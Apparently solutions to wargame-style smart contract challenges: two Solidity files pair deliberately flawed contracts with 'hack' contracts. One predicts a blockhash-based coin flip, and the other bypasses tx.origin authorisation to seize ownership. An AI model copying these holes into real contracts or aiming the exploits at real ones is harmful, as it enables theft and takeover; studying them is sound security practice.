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fall.sol

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    
    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;
    
    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract hack {
    CoinFlip public flipper;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    bool public side;
    
    function setContract(){
        flipper = CoinFlip(0xbc2051712b529dee6f5fb105b9be3712fc176bf6);
    }
    
    function play() returns (bool){
        uint256 blockValue = uint256(block.blockhash(block.number-1));
        uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
        side = coinFlip == 1 ? true : false;
        bool result = flipper.flip(side);
        return true;
    }
}

tele.sol

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract hack{
    Telephone public tele;
    
    function setTelephoneContract(){
        tele = Telephone(0x26f2c7415b652a21f307a4ef60a164a0f847098d);
    }
    
    function hackOwner() public {
        tele.changeOwner(msg.sender);
    }
    
}